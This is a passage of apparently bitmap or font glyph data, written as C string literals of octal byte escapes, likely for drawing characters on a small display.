\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\300\\360\\374\\77\\37\\17\\77~\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\7\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7\\17\\17\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\77\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\"\n  \"\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\"\n  \"\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\36\\7\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\17\\77\\376\\374\\370\\300\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\77\\77\\77\\7\\17\\16\\34\\30\\70\\70\\70\\70<\\36\\37\\17\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\\3\\3\\3\\7\\17\\37\\36\\14\\0\\0\\0\\0\\77\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\300\\370\\374\\376\\37\\17\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\7\\36\\377\\377\\377\\377\\0\\0\\0\\0\\177\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\1\\7\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\217\\207\\203\\203\\203\\203\\203\\203\\203\\207\\217\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\376\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\1\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\377\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\300\\0\\0\\0\\360\\374\\376\\377\\17\\7\\3\\3\\3\\3\\3\\7\\17\\377\\376\\377\\363\\3\\3\\3\\3\\3\\0\\0\\1\\207\\317\"\n  \"\\357~<\\70\\70\\70\\70\\70<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\300\\347\\357\\177>\\34\\34\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\34<\\70\\370\\360\\360\\300\\0\\0\\7\\37\\37\\77<\\70xpppppppx\\70<>\\37\\17\"\n  \"\\7\\1\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\16\\7\\7\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\201\\201\\201\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\"\n  \"\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\201\\201\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\10\\34>\"\n  \"<xxpppxx<>\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\200\\300\\340\\360x<>\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\36\\17\\7\\7\\17\\77~\\374\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7\\17\\37\\77<\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppppp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\200\\300\\300\\300\\300\\300\\200\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\377\\377\\377\\377\\7\\1\\1\\1\\1\\377\\377\\377\\376\\17\\3\\1\\1\\1\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\37\\37\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\16\\7\\7\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\370\\374\\376\\37\\7\\3\\3\\1\\1\\1\\1\\1\\1\\3\\7\\17\\77\\377\\374\\370\\300\\0\\0\\37\\177\\377\\377\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\177\\17\\0\\0\\0\\0\\1\\3\\7\\17\\17\\16\\36\\34\\34\\34\"\n  \"\\34\\36\\16\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\16\\3\\3\\1\\1\\1\\1\"\n  \"\\1\\1\\3\\3\\17\\77\\377\\376\\370\\300\\0\\0\\0\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\177\\17\\0\\0\\0\\377\\377\\377\\377\\3\\7\\16\\16\\34\\34\\34\\34\\36\\36\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\340\\370\\376\\377\\37\\7\\3\\1\\1\\1\\1\\1\\1\\1\\3\\7\\16\\377\\377\\377\\377\\0\\0\\0\\37\\377\\377\"\n  \"\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\36\\34\\34\"\n  \"\\34\\34\\16\\16\\7\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377>\\17\\7\\3\\3\"\n  \"\\1\\1\\1\\1\\1\\1\\3\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\177\\377\\377\\343\\301\\301\\201\\201\\201\\1\\1\\3\\3\\7\\37\\7\\2\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\200\\0\\1\\1\\1\\3\\3\\3\\7\\7\\7\\17\\36\\376\\374\\370\\360\\0\\0\\0\\0\\0\\3\\7\\7\\17\\16\\36\\36\\34\\34\\34\"\n  \"\\34\\34\\36\\16\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\200\\376\\377\\377\\217\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\377\\377\\377\\377\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\36\\16\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\"\n  \"\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\3\\17\\177\\377\\374\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\376\\360\\300\\0\\200\\360\\374\\177\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\77>\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\200\\0\\7\\377\\377\\374\\200\\0\\0\\0\\0\\300\\374\\376\\376\\370\\300\\0\\0\\0\\0\\300\\377\\377\\37\\0\\0\\0\\37\\377\"\n  \"\\377\\360\\0\\300\\374\\177\\17\\0\\3\\37\\377\\374\\340\\0\\340\\377\\377\\7\\0\\0\\0\\0\\0\\3\\77\\77>\\77\\7\\0\\0\\0\"\n  \"\\0\\0\\1\\17\\77\\77\\77\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37~\\374\\360\\340\\200\\200\"\n  \"\\340\\360\\370~\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\373\\177\\77\\77\\177\\373\\360\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\60<>\\37\\17\\3\\1\\0\\0\\0\\0\\0\\3\\7\\37\\77<\\70\\60\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\1\\7\\77\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\37\\177\\376\\370\\300\\0\\0\\340\\370\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\377\\377\"\n  \"\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\70<xpppx\\70<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\203\"\n  \"\\303\\363\\373\\177\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374>\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70<\\77\\77\\77;\\71\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\7\\3\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\17=\\375\\370\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77~xxpppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\3\\3\\17\\377\\377\\376\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\375\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppxx>\\77\\37\\17\\1\\0\\0\\0\\0\"\n  